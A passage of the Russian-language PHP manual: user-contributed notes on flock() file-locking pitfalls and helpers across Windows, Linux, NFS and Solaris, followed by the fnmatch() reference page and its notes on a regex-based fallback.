В Windows, если процесс блокировки открывает файл во второй раз, он не может получить доступ к файлу через второй дескриптор, пока он не разблокирует файл.

User Contributed Notes

andy at andyslife dot org 09-Nov-2023 05:20
Important if using this to lock a class into a single instance (long duration processes). The file handle needs to be a class wide variable like $this->singleinstance. Not local to the __construct function like $localvariable. The reason is the local variable is gone after __construct is called so the lock lasts for only millisconds and not for the full duration of class running in memory.
orkans at gmail dot com 13-Jun-2023 02:06
Watch out for implied lock release!

<?php
flock($fp, LOCK_SH);

if(!flock($fp, LOCK_EX | LOCK_NB)) {
    echo 'Unable to obtain exclusive lock';
}

// Now the LOCK_SH is gone too!

?>
peripeltus at gmail dot com 07-Jun-2017 01:40
Relying on flock for synchronise things is risky, consider using extensions like SYNC or pthreads instead.
jlh at gmx dot ch 27-Mar-2017 06:14
When a file is closed the lock will be released by the system anyway, even if PHP doesn't do it explicitly anymore since 5.3.2 (the documentation is very confusing about this).

However, I had a situation on an apache/PHP server where an out-of-memory error in PHP caused file handles to not be closed and therefore the locks where kept even thought PHP execution had ended and the process had returned to apache to serve other requests. The lock was kept alive until apache recycled those processes.

This lack of proper clean up basically makes flock() completely unreliable.
markus at malkusch dot de 04-Dec-2016 07:20
And here's the timeout template for UNIX:

<?php
pcntl_signal(SIGALRM, function() {});
pcntl_alarm(3);
try {
    if (!flock($handle, LOCK_EX)) {
        throw new \Exception("Timeout");
    }
} finally {
    pcntl_alarm(0);
    pcntl_signal_dispatch();
    pcntl_signal(SIGALRM, SIG_DFL);
}
?>
emilchemical at gmail dot com 01-Mar-2016 02:49
If you are interested in using file locking as indicator that your console app is running and you don't want to start it again:

 if (!flock($fp, LOCK_EX | LOCK_NB, $wouldblock)) {
                if ($wouldblock) {
                    //Another process holds the lock!

                } else {
                    //Couldn't lock for another reason, e.g. no such file

                }
            } else {
                //Lock obtained

                startJob();
            }
Please note that this is platform independent solution, but you have restrictions in PHP version (5.5.22 on Windows).
Also, some old file systems are not supported.
forzi at mail333 dot com 24-Apr-2015 06:34
Simple Helper for lock files creation

<?php

class FileLocker {
    protected static $loc_files = array();

    public static function lockFile($file_name, $wait = false) {
        $loc_file = fopen($file_name, 'c');
        if ( !$loc_file ) {
            throw new \Exception('Can\'t create lock file!');
        }
        if ( $wait ) {
            $lock = flock($loc_file, LOCK_EX);
        } else {
            $lock = flock($loc_file, LOCK_EX | LOCK_NB);
        }
        if ( $lock ) {
            self::$loc_files[$file_name] = $loc_file;
            fprintf($loc_file, "%s\n", getmypid());
            return $loc_file;
        } else if ( $wait ) {
            throw new \Exception('Can\'t lock file!');
        } else {
            return false;
        }
    }

    public static function unlockFile($file_name) {
        fclose(self::$loc_files[$file_name]);
        @unlink($file_name);
        unset(self::$loc_files[$file_name]);
    }

}

if ( !FileLocker::lockFile('/tmp/1.lock') ) {
    echo "Can't lock file\n";
    die();
}
sleep(10);
FileLocker::unlockFile('/tmp/1.lock');
echo "All Ok\n";
ravenswd at gmail dot com 27-Feb-2015 05:32
Note that Example #1 contains a bug: ftruncate() does *not* re-set the file pointer to the beginning of the file. You need to execute a call to rewind() afterward. I realize that the ftruncate page does mention this, but if anybody copies the example above (as I did), their program will not work correctly unless they fix this.
sinus-php at sinpi dot net 15-Aug-2014 02:01
"Assigning another value to handle argument in subsequent code will release the lock."
Note: this is also true for losing the handle's context completely (like returning from a function, in which the handle was a local variable).

<?php
touch("testfile");

function mylock() {
  $F1 = fopen("testfile","r");
  if (flock($F1,LOCK_EX|LOCK_NB)) echo "First lock OK\n"; else echo "First lock FAIL\n";
  $F2 = fopen("testfile","r");
  if (flock($F2,LOCK_EX|LOCK_NB)) echo "Second lock OK\n"; else echo "Second lock FAIL\n";
}

mylock();
echo "Function returned.\n";
mylock();

unlink("testfile");
?>

Prints out:

First lock OK
Second lock FAIL
Function returned.
First lock OK
Second lock FAIL

This will lock the testfile, then attempt to lock it again with a new file handle (obviously failing). Trying this again, though, results in proper locking again (and then failing again), because when exiting the function both handles are lost and automatically unlocked.
tom dot vom dot berg at online dot de 28-Apr-2014 06:46
if you are used to reply with qualified error messages by using "track_errors = 1" and $php_errormsg,  flock() will nark you, if you use LOCK_NB .

If flock() fails due to LOCK_NB $php_errormsg will not be created and filled with an error message like 'could not lock file, file already locked'.

You can use some little workaround which does also on WIN:

#---------------------------------
GLOBAL $MYERRORMSG;

function some_file_operations($filename)
{
    GLOBAL $MYERRORMSG;

    # ...
    # ...

    if (! @flock($fh, LOCK_SH | LOCK_NB, $wb))
       {
        if (!isset($php_errormsg)) $php_errormsg = 'could not lock file, file already locked';
        $MYERRORMSG = $php_errormsg;
        return false;
    }
}
#--------------------------------

In case of fail $MYERRORMSG now will hold a qualified error message
enyby at yandex dot ru 04-Jan-2014 08:36
Use rename or unlink on handled file breaked LOCK_EX flock on handle (Linux only).

Example:

$handle = fopen($lockFile, 'c');
var_dump(flock($handle, LOCK_EX | LOCK_NB)); // false because flock use other php process
rename($lockFile, $lockFile.'.old'); // or unlink
var_dump(flock($handle, LOCK_EX | LOCK_NB)); // always true (!!!)
metamarkers at gmail dot com 19-Apr-2013 12:13
you can wrap a lock as an object to make it a scope-based lock. when the lock object is no longer referenced, like when it's unset or the owner returns, the destructor will call unlock.

this way you can just create a lock object and forget about it.

<?php
class lock {

    private $handle;

    public static function read ( $handle ) {
        $lock = new static();
        $lock->handle = $handle;
        return flock($handle,LOCK_SH) ? $lock : false;
    }

    public static function write ( $handle ) {
        $lock = new static();
        $lock->handle = $handle;
        return flock($handle,LOCK_EX) ? $lock : false;
    }

    public function __destruct ( ) {
        flock($this->handle,LOCK_UN);
    }

}
?>
steven at aubergine-it dot nl 20-Feb-2013 03:14
You cannot combine gzopen with flock; so:

<?php
$f = gzopen($file,'w');
$o = flock($f, LOCK_EX);
var_dump($o);
flush();
?>

Gives:

boolean false
mdessaintes at gmail dot com 28-Jun-2012 04:30
I just spent some time (again) to understand why a reading with file_get_contents() and file was returning me an empty string "" or array() whereas the file was existing and the contents not empty.

In fact, i was locking file when writing it (file_put_contents third arg) but not testing if file was locked when reading it (and the file was accessed a lot).

So, please pay attention that file_get_contents(), file() and maybe others php files functions are going to return empty data like if the contents of the file was an empty string.

To avoid this problem, you have to set a LOCK_SH on your file before reading it (and then waiting if locked).

Something like this :

<?php
public static function getContents($path, $waitIfLocked = true) {
    if(!file_exists($path)) {
        throw new Exception('File "'.$path.'" does not exists');
    }
    else {
        $fo = fopen($path, 'r');
        $locked = flock($fo, LOCK_SH, $waitIfLocked);

        if(!$locked) {
            return false;
        }
        else {
            $cts = file_get_contents($path);

            flock($fo, LOCK_UN);
            fclose($fo);

            return $cts;
        }
    }
}
?>

Code to test by yourself :

abc.txt :
someText

file.php :
<?php
$fo = fopen('abc.txt', 'r+');

flock($fo, LOCK_EX);
sleep(10);
flock($fo, LOCK_UN);
?>

file2.php :
<?php
var_dump(file_get_contents('abc.txt'));
var_dump(file('abc.txt'));
?>

Then launch file.php and switch to file2.php during the 10 seconds and see the difference before/after
ondrej dot nemecek at gmail dot com 15-Mar-2012 03:15
Notice: On NFS with NFS locking daemon you cannot open file for reading and than lock exklusively:

$rFopened  = fopen($sFile,'r');
$bResult   = flock($rFopened, LOCK_EX);

var_dump($bResult); // returns FALSE

Mixed fopen modes (a+, w+ ...) works with LOCK_EX fine.
mdessaintes at gmail dot com 22-Sep-2011 08:44
I just spend a long time to understand why write function returns me "0", on a basic file opening and then writing.

I discovered that if you use LOCK_SH and then you write something, that will not work :

<?php
$fp = fopen('file.txt', 'a');

flock($fp,LOCK_SH);

$written = fputs($fp, 'data');

var_dump($written); // 0 and file is not changed

fclose($fp);
?>
Evan Battaglia 05-Jan-2011 05:13
LOCK_NB seems to be checked and works fine in Windows, too, in PHP 5.3.3.

For instance, try concurrently running two instances of the following script (via the CLI). The second prints "Didn't quite get the lock..." as expected, whereas w/o the LOCK_NB flag, it just hangs.

<?php
$x = fopen("flocktest.txt", "w");
if (flock($x, LOCK_EX|LOCK_NB)) {
    print "No problems, I got the lock, now I'm going to sit on it.";
    while (true)
        sleep(5);
} else {
    print "Didn't quite get the lock. Quitting now. Good night.";
}
fclose($x);
?>
holdoffhunger at gmail dot com 03-Dec-2010 07:53
I've been having trouble getting Flock to work when I read a file, delete it, and then output slightly changed information back to the same location.  When deleting with Unlink, there's a very brief period of time where no file exists.  But, if you do an fopen using the "w" mode, it keeps the file in existence, but deletes all of its data when you go to write to it.  That way, the file never actually disappears, and another script accessing the same file with flock won't get a "file doesn't exist" error.
webmaster at bitpush dot com 11-Nov-2010 08:31
Regarding the change in PHP 5.3.2 with locked files:

Without having studied the PHP source code in detail, the situation appears to be as follows when the PHP function fclose() is called:

Before 5.3.2 PHP would check if the file was locked, then release the lock, and then close the file.

From 5.3.2 PHP just closes the file.

But note, that the operating system releases the lock automatically when the file is closed. Therefore a call to fclose() STILL releases the lock (this is tested with PHP 5.3.2, Linux, x64).
mirco dot babin at gmail dot com 15-Sep-2010 10:10
Because:
1) flock() is not safe if multiple php sessions are simultaneously locking.
2) fopen( , 'a') is not safe if multiple php sessions are simultaneously appending.
3) usleep and sleep are known for having problems.

I wrote the Weblog function, it's purpose is to append a line to logging. This function handles the concurrency as follows:
- Try to create a lockfile named: $directory . date('Ymd') . $logfile . 1 . lock
- If this fails, try to create lockfile named: $directory . date('Ymd') . $logfile . 2 . lock
- etc. After 100 tries return false.

- When the lockfile is acquired the file named: $directory.date('Ymd').$logfile.1 (or .2 or .3 or .25) is opened or created.
- If created the a "extended log file" header is written.
- Write out the line.
- Close the flie and if created set the correct access rights. (I had some problems creating files on a webserver, I did not see them when I opened a FTP session to the webdirectory. The chmod did the trick for me).

- Remove the lockfile.

There is only one drawback, multiple logfiles are created.
e.g. (executed on 15 september 2010)
    Weblog('./' , 'visit', 'Somebody requested the index page');
Could lead to 100 files, depending how many concurrent php sessions are simultaneously trying to append a logline:
./20100915visit.1
./20100915visit.2
./20100915visit.3
./20100915visit.4
...
./20100915visit.100

This function is donated to the public domain. Maybe you can give me some credit by leaving in the author comment, but it is not required. You may modify this as you wish.
(This function was inspired by the function m_lock_file presented by Kuzma dot Deretuke at gmail dot com)

<?php
function Weblog($directory, $logfile, $message)
{
    // Created 15 september 2010: Mirco Babin
    $curtime = time();
    $logfile = date('Ymd',$curtime) . $logfile;

    if (!isset($directory) || $directory === false)
        $directory = './';
    if (substr($directory,-1) !== '/')
        $directory = $directory . '/';

    $count = 1;
    while(1)
    {
        $logfilename = $directory . $logfile . '.' . $count;

        $lockfile = $logfilename . '.lock';
        $lockhandle = false;
        if (!file_exists($lockfile) || @unlink($lockfile))
            $lockhandle = @fopen($lockfile, 'xb');
        if ($lockhandle !== false) break;

        $count++;
        if ($count > 100) return false;
    }

    if (file_exists($logfilename))
        {
            $created   = false;
            $loghandle = @fopen($logfilename, 'ab');
        }
    else
        {
            $loghandle = @fopen($logfilename, 'xb');
            if ($loghandle !== false)
                {
                    $created = true;

                    $str = '#version: 1.0' . "\r\n" .
                           '#Fields: date time c-ip x-msg' . "\r\n";
                    fwrite($loghandle,$str);
                }
            }

    if ($loghandle !== false)
        {
            $str = date('Y-m-d',$curtime) . "\t" .
                   date('H:i:s', $curtime) .  "\t" .
                   (isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '-') . "\t" .
                   '"' . str_replace('"', '""', $message) . '"' . "\r\n";
            fwrite($loghandle,$str);

            fclose($loghandle);

            if ($created) chmod($logfilename,0644); // Read and write for owner, read for everybody else

            $result = true;
        }
    else
        {
            $result = false;
        }

    fclose($lockhandle);
    @unlink($lockfile);

    return $result;
}
?>
dejangex at yahoo dot com 21-Dec-2009 01:47
Actually, there is no use of the while loop with the usleep. My testing has revealed the following:

<?php
//some code here
flock($file_handle, LOCK_EX) // <- Your code will pause here untill you get the lock for indefinite amount of time or till your script times out
//some code here
?>

This will actually check for the lock without pausing and then it will sleep:

<?php
//code here
while (!flock($file_handle, LOCK_EX | LOCK_NB)) {
 //Lock not acquired, try again in:
 usleep(round(rand(0, 100)*1000)) //0-100 miliseconds
}
//lock acquired
//rest of the code
?>

The problem is, if you have a busy site and a lots of locking, the while loop may not acquire the lock for some time. Locking without LOCK_NB is much more persistent and it will wait for the lock for as long as it takes. It is almose guaranteed that the file will be locked, unless the script times out or something.

Consider these two scripts: 1st one is ran, and the second one is ran 5 seconds after the first.

<?php
//1st script
$file_handle = fopen('file.test', 'r+');
flock($file_handle, LOCK_EX); //lock the file
sleep(10); //sleep 10 seconds
fclose($file_handle); //close and unlock the file
?>

<?php
//2nd script
$file_handle = fopen('file.test', 'r+');
flock($file_handle, LOCK_EX); //lock the file
fclose($file_handle); //close and unlock the file
?>

If you run 1st and then the 2nd script,the 2nd script will wait untill the 1st has finished. As soon as the first script finishes, the second one will acquire the lock and finish the execution. If you use flock($file_handle, LOCK_EX | LOCK_NB) in the 2nd script while the 1st script is running, it would finish execution immediately and you would not get the lock.
daniel AT brightbyte DOT de 08-Sep-2009 12:49
flock on Solaris is slightly strange: it will fail if you try to get an exclusive lock on a file not opened for writing. That is, for reading files, you MUST use a shared lock. From the Solaris man page for flock:

"Read permission is required on a file to obtain a shared lock, and write  permission is required to obtain an exclusive lock."

In contrast, this is from the Linux man page for flock:

"The mode used to open the file doesn't matter to flock."

So, beware...
Kuzma dot Deretuke at gmail dot com 06-Aug-2009 04:31
I use exclusive writing to replace standard flock():

<?php
// get/set lock file name
function m_lock_file( $format = null ) {
    static $file_format = './%s.lock';

    if ($format !== null) {
        $file_format = $format;
    }

    return $file_format;
}

// acquire/check/release lock
function m_lock( $lockId, $acquire = null ) {
    static $handlers = array();

    if (is_bool($acquire)) {
        $file = sprintf(m_lock_file(), md5($lockId), $lockId);
    }

    if ($acquire === false) {
        if (isset($handlers[$lockId])) {
            @fclose($handlers[$lockId]);
            @unlink($file);
            unset($handlers[$lockId]);
        } else {
            trigger_error("Lock '$lockId' is already unlocked", E_USER_WARNING);
        }
    }

    if ($acquire === true) {
        if (!isset($handlers[$lockId])) {
            $handler = false;
            $count = 100;
            do {
                if (!file_exists($file) || @unlink($file)) {
                    $handler = @fopen($file, "x");
                }
                if (false === $handler) {
                    usleep(10000);
                } else {
                    $handlers[$lockId] = $handler;
                }
            } while (false === $handler && $count-- > 0);
        } else {
            trigger_error("Lock '$lockId' is already locked", E_USER_WARNING);
        }
    }

    return isset($handlers[$lockId]);
}
?>

Usage sample:

<?php
$lockId = "qq";

m_lock($lockId, true);
if (m_lock($lockId)) {
    echo "locked";

    // here you can perform any thread-safe operations
    usleep(300 * 1000);

    m_lock($lockId, false);
} else {
    echo "not locked";
}

?>
Fernando Gabrieli fgabrieli at gmail 12-Feb-2009 11:06
When writing to a file, you should avoid using w+ because it would erase the contents of the file before locking

If you need to write the complete file again you could use the following instead:

<?php
$fp = fopen('yourfile.txt', 'a') ;

if (flock($fp, LOCK_EX)) {
    ftruncate($fp, 0) ; // <-- this will erase the contents such as 'w+'

    fputs($fp, 'test string') ;

    flock($fp, LOCK_UN) ;
}

fclose($fp) ;
?>

Best,
Fernando Gabrieli
tinymountain at nospam dot gmail dot com 31-Jul-2008 01:36
Here's a handy class to allow retrying a write with flock a set number of times. If it can't flock, it will sleep for a brief random interval and try again. If you have a lot of concurrent writes going on, you can use it to avoid data corruption.

<?php
class SafeWriter
{
    // suggested mode 'a' for writing to the end of the file
    public static function writeData($path, $mode, $data)
    {
        $fp = fopen($path, $mode);
        $retries = 0;
        $max_retries = 100;

        if (!$fp) {
            // failure
            return false;
        }

        // keep trying to get a lock as long as possible
        do {
            if ($retries > 0) {
                usleep(rand(1, 10000));
            }
            $retries += 1;
        } while (!flock($fp, LOCK_EX) and $retries <= $max_retries);

        // couldn't get the lock, give up
        if ($retries == $max_retries) {
            // failure
            return false;
        }

        // got the lock, write the data
        fwrite($fp, "$data\n");
        // release the lock
        flock($fp, LOCK_UN);
        fclose($fp);
        // success
        return true;
    }
}
?>
John dot wellesz at teaser dot fr 14-Apr-2008 05:59
I just want to add a note about making atomic lock on NFS, there is only two
ways:

- 1 (the most robust but the most complicate) - It's to use link() to create a
  hard link to a file you want to lock (on the same FS of course).
  (On most NFS implementations, Link() is atomic)

Once you created a hard link (not a symbolic link), with a unique randomly
generated name, call stat() on it and count the number of link (nlink), if there
is only 2 then the file is locked.

If there is more than two you have to unlink() the link you just created and
create a new one with a new unique name (else NFS will use its cache and stat
will return wrong data) then call stat() on the new link and test the number of
links again, repeat this operation until you get the lock.

You have to use usleep() between the link() attempts with a fixed + random
sleep value to avoid dead lock situations (link() and unlink() may be atomic
but not instantaneous)

Also note than when you unlink a file through NFS, if NFS think that the file
is still in use, it will create a .nfs link to this file until it realizes the
file is no longer in use... A wrong timing could generate thousands of those
files and a deadlock situation.  Because of this when a deadlock situation
occurs or if your stat() command returns a very high number of links, you have
to look for .nfs file in the same directory you created your links and unlink
all the .nfs file you find (sometimes NFS take its time to remove them)

- 2 (the simplest) - the second method is to use a lock server and lock daemons
  on each client that will forward lock request to the server... (this is more
dangerous than the first method because the daemons may be killed...)

Here is for reference the function I created to make atomic locks through NFS
(this function is in production since at least 4 years now), it's just for
reference because it uses many external functions to do its job but you can see
the principle:

http://pastey.net/85793
admin ifyouwantblood de 23-Dec-2007 07:05
besides from what the manual says about locking a file opendend in w or w+ and using a special lock file for these cases, you should simply truncate the file yourself with ftruncate() after writing:

<?php

$data='some data';
$handle=fopen('file','r+');
flock($handle,LOCK_EX);
fwrite($handle,$data);
ftruncate($handle,ftell($handle));
flock($handle,LOCK_UN);
fclose($handle);

?>

now the file will have the size of $data without opening the file in w mode but with a lock on the file.

to the previous writers jpriebe and mallory:
of course the lock is lost in this case, but thats simply because the file is closed by PHP. and closing the file means unlocking it (same as when you use fclose() yourself).
mallory dot dessaintes at gmail dot com 19-Dec-2007 07:56
I have noticed that if you change the value of your fopen ressource, the lock is working no longer..

<?php

$fo = fopen('lockfile.txt','a');

flock($fo,LOCK_EX);

$fo = '';

// Lock is disable

?>
candide at idees-et-solutions dot fr 07-Dec-2007 03:48
Just a comment about the last method to lock files using filemtime().
What if   filemtime($fp[1]) == $fp[3]   because somebody modified the file less than 1s after the value of $fp[3] was picked up?
Then this modification will be lost...?

This system to lock files is made to prevent problems when two modifications are so close that they can interfere, so the case "less than 1s" will often happen?

However, lose some modifications is better than spoil all the file...
Antti Haapala 06-Oct-2007 04:30
Further information on flock: The system is not restarted if a signal is delivered to the process, so flock will happily return false in case of SIGALRM, SIGFPE or something else.
Antti Haapala 06-Oct-2007 03:41
The supplied documentation is vague, ambiguous and lacking, and the user comments contain erroneous information! The flock function follows the semantics of the Unix system call bearing the same name. Flock utilizes ADVISORY locking only; that is, other processes may ignore the lock completely; it only affects those that call the flock call.

LOCK_SH means SHARED LOCK. Any number of processes MAY HAVE A SHARED LOCK simultaneously. It is commonly called a reader lock.

LOCK_EX means EXCLUSIVE LOCK. Only a single process may possess an exclusive lock to a given file at a time.

If the file has been LOCKED with LOCK_SH in another process, flock with LOCK_SH will SUCCEED. flock with LOCK_EX will BLOCK UNTIL ALL READER LOCKS HAVE BEEN RELEASED.

If the file has been locked with LOCK_EX in another process, the CALL WILL BLOCK UNTIL ALL OTHER LOCKS have been released.

If however, you call flock on a file on which you possess the lock, it will try to change it. So: flock(LOCK_EX) followed by flock(LOCK_SH) will get you a SHARED lock, not "read-write" lock.
Will Reiher 27-Mar-2007 04:52
I've been testing a few custom file access functions but I always liked the simplicity of file_get_contents(). Of course it doesn't seem to respect any file locks created with flock(). I created the function below to wrap around file_get_contents() so it can support locked files. It's an odd way of doing it but it works for me.

<?php
function flock_get_contents($filename){

    $return = FALSE;

    if(is_string($filename) && !empty($filename)){
        if(is_readable($filename)){
            if($handle = @fopen($filename, 'r')){
                while(!$return){
                    if(flock($handle, LOCK_SH)){
                        if($return = file_get_contents($filename)){
                            flock($handle, LOCK_UN);
                        }
                    }
                }
                fclose($handle);
            }
        }
    }

    return $return;
}
?>
jerry at gh33 dot org 14-Aug-2006 09:30
Indeed, flock() will not work reliably when the underlying filesystem is NFS. The proper way to perform file locking, in this case, would be to use PHP's link() function. From the Linux man page of open():

       O_EXCL When used with O_CREAT, if the file  already  exists  it  is  an
              error  and  the open will fail. In this context, a symbolic link
              exists, regardless of where its points to.  O_EXCL is broken  on
              NFS file systems, programs which rely on it for performing lock-
              ing tasks will contain a race condition.  The solution for  per-
              forming  atomic  file  locking  using  a lockfile is to create a
              unique file on the same fs  (e.g.,  incorporating  hostname  and
              pid),  use  link(2)  to  make  a link to the lockfile. If link()
              returns 0, the lock is successful.  Otherwise,  use  stat(2)  on
              the  unique  file to check if its link count has increased to 2,
              in which case the lock is also successful.
marc dot vanwoerkom at fernuni-hagen dot de 15-Feb-2006 02:00
I ran into a loop because I just checked for true (= you got the lock) as return value of flock() and tried again when I got a false.

<?php
    function naive_wait_for_file($fp) {
        while (true) {
            if (flock($fp, LOCK_EX)) {
                return;
            }
            $k = rand(0, 20);
            usleep(round($k * 10000));  # k * 10ms
        }
    }
?>

Unfortunately in one case the $fp I put in was invalid, so I always got false and got stuck.
Lesson: check if your $fp is valid before entering the loop, or look closer if you get a false.

<?php
    function wait_for_file($fp) {
        if ($fp === false) {
            return;
        }
        while (true) {
            if (flock($fp, LOCK_EX)) {
                return;
            }
            $k = rand(0, 20);
            usleep(round($k * 10000));  # k * 10ms
        }
    }
?>
damasta at onwebworx dot net 09-Aug-2005 08:28
just wanted to say that you will most likely fail if you use a separate lock file together with register_shutdown_function.

my script did some different actions... resizing pictures, rotating them and this stuff. it needed a "database" file to get the correct file locations. this database file also stored some flags. and of course the script had to save that file when it was done.

because of my script exited on many different points depending on the action i used register_shutdown_function to save the file. it wanted to use a locking system to be sure the script doesn't overwrite the data another process had written into it some microseconds before. i was running on windows 2000 and apache2 on my developing machine, and flock always returned true for some reason... so i used a separate lock file. the script looked for it at the beginning and exited if it was found. otherwise it created it. but this file had to be deleted at the end. i put the unlink command into the registered shutdown-function but it never deleted the file. i tried clearstatcache and some other stuff but it didn't help.

maybe this helps someone.
rudy dot metzger at pareto dot nl 08-Sep-2004 03:31
Like a user already noted, most Linux kernels (at least the Redhat ones) will return false, even if you locked the file. This is because the lock is only ADVISORY (you can check that in /proc/locks). What you have to do there is to evalute the 3rd parameter of flock(), $eWouldBlock. See for an example below. Note however that if you
lock the file in non blocking mode, flock() will work as expected (and blocks the script).

<?php

$fp = fopen( "/var/lock/process.pid", "a" );
if ( !$fp || !flock($fp,LOCK_EX|LOCK_NB,$eWouldBlock) || $eWouldBlock ) {
  fputs( STDERR, "Failed to acquire lock!\n" );
  exit;
}

// do your work here

fclose( $fp );
unlink( "/var/lock/process.pid" );

?>
Joby <god at NOSPAMPLEASE dot greentinted dot net> 30-Jun-2004 05:59
I'm thinking that a good way to ensure that no data is lost would be to create a buffer directory that could store the instructions for what is to be written to a file, then whenever the file is decidedly unlocked, a single execution could loop through every file in that directory and apply the indicated changes to the file.

I'm working on writing this for a flat-file based database.  The way it works is, whenever a command is issued (addline, removeline, editline), the command is stored in a flat file stored in a folder named a shortened version of the filename to be edited and named by the time and a random number.  In that file is a standardized set of commands that define what is to be done to what file (the likes of "file: SecuraLog/index_uid" new line "editline: 14").

Each execution will check every folder in that directory for files and a certain amount of time (I don't know how long, maybe 1-2 seconds) is spent making pending changes to unlocked files.  This way no changes will be lost (i.e. person 1 makes a change at the same time as person 2, and person 1 loses the race by just enough to have their changed version of the file overwritten by person 2's version) and there will be no problems with opening an empty open file.
Glip 29-Jan-2004 10:39
If you don't want use secondary lock file while truncating, try this:

<?php

$fp = fopen("/tmp/lock.txt", "a+");

if (flock($fp, LOCK_EX)) { // do an exclusive lock
   ftruncate($fp, 0);
   fwrite($fp, "Write something here\n");
   flock($fp, LOCK_UN); // release the lock
} else {
   echo "Couldn't lock the file !";
}

fclose($fp);

?>
joel[at_sign]purerave.com 27-May-2003 06:12
I have found that if you open a currently locked file with 'w' or 'w+' ("file pointer at the beginning of the file and truncate the file to zero length")  then it will not truncate the file when the lock is released and the file available.

Example I used to test it:
<?php
// a.php
$fp = fopen( "/tmp/lock.txt", "w+" );
flock( $fp, LOCK_EX ); // exclusive lock

$steps = 10;
// write to the file
for ($i=0; $i< $steps; $i++) {
    fwrite($fp, 'a '.time().' test '. $i."\n");
    sleep(1);
}
flock( $fp, LOCK_UN ); // release the lock
fclose( $fp );
?>

----------
<?php
// b.php

$fp = fopen( "/tmp/lock.txt", "w+" );
flock( $fp, LOCK_EX ); // exclusive lock

// ftruncate($fp, 0) is needed here! <----

$steps = 5;
// write to the file
for ($i=0; $i< $steps; $i++) {
    fwrite($fp, 'b '.time().' test '. $i."\n");
    sleep(1);
}
flock( $fp, LOCK_UN ); // release the lock
fclose( $fp );
?>

Loading a.php then loading b.php right after will result in:
b 1054075769 test 0
b 1054075770 test 1
b 1054075771 test 2
b 1054075772 test 3
b 1054075773 test 4
a 1054075764 test 5
a 1054075765 test 6
a 1054075766 test 7
a 1054075767 test 8
a 1054075768 test 9

As you can see, b.php does not truncate the file as the w+ would suggest if the file were instantly available. But only moves the pointer to the begining of the file. If b.php was loaded after a.php finished then there would be no "a ..." lines in the file, since it would be truncated.

To fix this you have to add ftruncate($fp, 0) right after the flock.

'r+' and 'a' seem to work fine, though.
geoff at message dot hu 06-Aug-2002 01:10
You should lock the file _before_ opening it, and unlock _after_ closing it. Othervise an another process might be able to access the file between the lock/unlock and the open/close operation.


Проверяет совпадение имени файла с шаблоном

  • « flock
  • fopen »
  • PHP Manual
  • Функции файловой системы
  • Проверяет совпадение имени файла с шаблоном

fnmatch

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

fnmatch — Проверяет совпадение имени файла с шаблоном

Описание

fnmatch(string $pattern, string $filename, int $flags = 0): bool

fnmatch() проверяет, совпадает ли переданный параметр filename с указанным шаблоном подстановок оболочки pattern.

Список параметров

pattern

Шаблон подстановки оболочки операционной системы.

filename

Проверяемая строка. Данная функция особенно полезна для имён файлов, но также может быть использована с обычными строками.

Среднестатистический пользователь знаком с подстановками оболочки, как минимум с самыми простыми из них - '?' и '*', так что использование fnmatch() вместо preg_match() для поиска в пользовательской части сайта может быть намного удобнее для пользователей, не являющихся программистами.

flags

Значением параметра flags может быть любая комбинация следующих флагов, объединённых с помощью бинарного оператора ИЛИ (|).

Перечень возможных флагов для функции fnmatch()
Флаг | Описание
FNM_NOESCAPE | Отключить экранирование обратных слешей.
FNM_PATHNAME | Слеш в строке совпадает только со слешем в указанном шаблоне.
FNM_PERIOD | Ведущая точка в строке должна точно совпадать с точкой в указанном шаблоне.
FNM_CASEFOLD | Совпадение без учёта регистра. Является частью расширения GNU.

Возвращаемые значения

При совпадении возвращает true, иначе возвращает false.

Примеры

Пример #1 Проверяет соответствие цвета шаблону подстановки

<?php
if (fnmatch("*gr[ae]y", $color)) {
echo "какая-то форма серого цвета ...";
}
?>

Примечания

Внимание

На данный момент эта функция недоступна на POSIX-несовместимых системах, исключая Windows.

Смотрите также

  • glob() - Находит файловые пути, совпадающие с шаблоном
  • preg_match() - Выполняет проверку на соответствие регулярному выражению
  • sscanf() - Разбирает строку в соответствии с заданным форматом
  • printf() - Выводит отформатированную строку
  • sprintf() - Возвращает отформатированную строку

User Contributed Notes

bwilcock at gmail dot com 13-Nov-2013 03:49
fnmatch is not 100% reliable. Bug 14185 is still open and may or may not have been patched.

In certain wildcard circumstance fnmatch("*needle*", $haystack, match) returns false intermittantly

However stripos or preg returns a "find".
bernd dot ebert at gmx dot net 13-Jul-2012 11:21
There is a problem within the  pcre_fnmatch-Function concerning backslashes. Those will be masked by preq_quote and ADDITONALLY by the strtr if FN_NOESCAPE is not set -> something like "*a(*" will finally result in "#^.*a\\(.*$#". Note the double backslash which effectively does NOT mask the "(" correctly.

Since preq_quote always matches a backslash I don't think that this'll work with using preg_quote at all.
me at rowanlewis dot com 30-Sep-2010 10:58
Here's a definitive solution, which supports negative character classes and the four documented flags.

<?php

    if (!function_exists('fnmatch')) {
        define('FNM_PATHNAME', 1);
        define('FNM_NOESCAPE', 2);
        define('FNM_PERIOD', 4);
        define('FNM_CASEFOLD', 16);

        function fnmatch($pattern, $string, $flags = 0) {
            return pcre_fnmatch($pattern, $string, $flags);
        }
    }

    function pcre_fnmatch($pattern, $string, $flags = 0) {
        $modifiers = null;
        $transforms = array(
            '\*'    => '.*',
            '\?'    => '.',
            '\[\!'    => '[^',
            '\['    => '[',
            '\]'    => ']',
            '\.'    => '\.',
            '\\'    => '\\\\'
        );

        // Forward slash in string must be in pattern:
        if ($flags & FNM_PATHNAME) {
            $transforms['\*'] = '[^/]*';
        }

        // Back slash should not be escaped:
        if ($flags & FNM_NOESCAPE) {
            unset($transforms['\\']);
        }

        // Perform case insensitive match:
        if ($flags & FNM_CASEFOLD) {
            $modifiers .= 'i';
        }

        // Period at start must be the same as pattern:
        if ($flags & FNM_PERIOD) {
            if (strpos($string, '.') === 0 && strpos($pattern, '.') !== 0) return false;
        }

        $pattern = '#^'
            . strtr(preg_quote($pattern, '#'), $transforms)
            . '$#'
            . $modifiers;

        return (boolean)preg_match($pattern, $string);
    }

?>

This probably needs further testing, but it seems to function identically to the native fnmatch implementation.
Sinured 19-Mar-2008 01:04
An addition to my previous note: My statement regarding the FNM_* constants was wrong. They are available on POSIX-compliant systems (in other words, if fnmatch() is defined).
theboydanny at gmail dot com 29-Nov-2007 10:31
About the windows compat functions below:
I needed fnmatch for a application that had to work on Windows, took a look here and tested both. Jk's works for me, soywiz didn't (on WinXPSP2, PHP 5.2.3).
The only difference between them is addcslashes (soywiz) instead of preg_quote (jk). They _should_ both work, but for some reason soywiz's didn't for me. So YMMV.
